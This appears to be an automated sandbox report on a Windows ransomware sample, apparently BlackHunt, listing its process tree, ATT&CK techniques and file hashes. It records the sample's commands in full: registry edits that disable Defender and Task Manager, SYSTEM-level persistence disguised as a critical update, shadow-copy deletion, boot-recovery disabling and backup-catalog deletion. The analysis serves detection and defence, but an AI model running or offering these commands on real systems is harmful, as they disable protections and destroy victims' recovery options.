C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵
- Suspicious use of WriteProcessMemory
PID:648 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:2508
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f2⤵
- Suspicious use of WriteProcessMemory
PID:4432 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f3⤵
- Adds Run key to start application
PID:5056
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f2⤵
- Suspicious use of WriteProcessMemory
PID:824 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f3⤵PID:4084
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f2⤵
- Suspicious use of WriteProcessMemory
PID:1960 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f3⤵
- Modifies Windows Defender Real-time Protection settings
PID:3388
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f2⤵PID:4944
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f3⤵PID:4876
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f2⤵PID:3052
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f3⤵PID:660
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f2⤵
- Suspicious use of WriteProcessMemory
PID:4268 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f3⤵PID:4424
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f2⤵PID:1064
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f3⤵PID:2076
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f2⤵PID:3652
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f3⤵PID:4968
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f2⤵PID:884
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f3⤵PID:4316
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f2⤵PID:3640
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f3⤵PID:4444
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f2⤵PID:2200
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f3⤵PID:456
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f2⤵PID:3180
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f3⤵PID:1860
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f2⤵PID:3148
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f3⤵PID:3696
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:1672
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:1068
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f2⤵PID:4880
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f3⤵PID:3448
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f2⤵PID:3636
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f3⤵PID:4724
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f2⤵PID:4696
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f3⤵PID:4264
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f2⤵PID:3116
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f3⤵PID:4084
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:3420
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:1652
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f2⤵PID:3964
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f3⤵PID:1844
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f2⤵PID:2040
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f3⤵PID:2292
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f2⤵PID:2552
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f3⤵PID:2564
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f2⤵PID:3040
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f3⤵PID:5060
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f2⤵PID:4804
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f3⤵PID:4588
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f2⤵PID:860
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f3⤵PID:368
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe" /F2⤵PID:4612
-
C:\Windows\system32\schtasks.exeSCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe" /F3⤵
- Creates scheduled task(s)
PID:3140
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB2⤵PID:640
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:2244
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded2⤵PID:3904
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:1832
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB2⤵PID:2500
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB3⤵
- Interacts with shadow copies
PID:408
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded2⤵PID:3696
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded3⤵
- Interacts with shadow copies
PID:4592
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:4224
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:3020
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:2344
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:4364
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:4672
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
- Modifies registry class
PID:4264
-
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:1532
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:1280
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:1860
-
-
C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:4996
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:3492
-
C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:2480
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:2292
-
C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:4040
-
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3152
-
C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3612
-
C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵PID:4860
-
C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵
- Checks SCSI registry key(s)
PID:4852
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
2Disable or Modify Tools
2Indicator Removal
3File Deletion
3Modify Registry
4Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1KB
MD558d7fd3f56636ef5ac197ad368eca58c
SHA141ed0a4bac4efd5f4bb7b06638c64d8612ff32c9
SHA2569bc1b5d5a86518116c05c1a8bb165c6509edc1c64c5d5f8202666480b4175f34
SHA512678fd3d9495366a38ab53a2d12b4232aef983e053b07e99b9416c467181f0c89708599427aaacc2c9f8e1cba6110d92435a4cf9a1648ea4dace81eae02e2568f
-
Filesize
12KB
MD52e447b2d553fa96c0660c4864d106a6b
SHA1a2ab6a6a14cf3f5a970c09d94c188ddb491991b6
SHA256fa5757e1b31986b1e72f98e895d8e7c37dd3bbee597bd7da39cdf67f5eb62dc6
SHA5121392c8182a4e46290f2bb163707e77d976b2412b147a46c11a0503616ca0077c8c32412640f8b9095cc41dd8040a3788b2084b73c9088d93811fe51b071047e7
-
Filesize
684B
MD54cde6f133311e394b7fdfd62c4fccbfd
SHA134d64d4be3470bdf6924e9f9f4604728c05de877
SHA2564f98a1ee1c3baf777628deabb60cc70421686229f23618423b99b08b1e49d5c8
SHA512ff22cde42491edf8457209a05171c187865c0a251b9d4ac8397cda82cccf51515e4fe129d2f10992d8dfe7f5e3a7d0b51a4376a7ce6e38ecdcc7619eb99acc16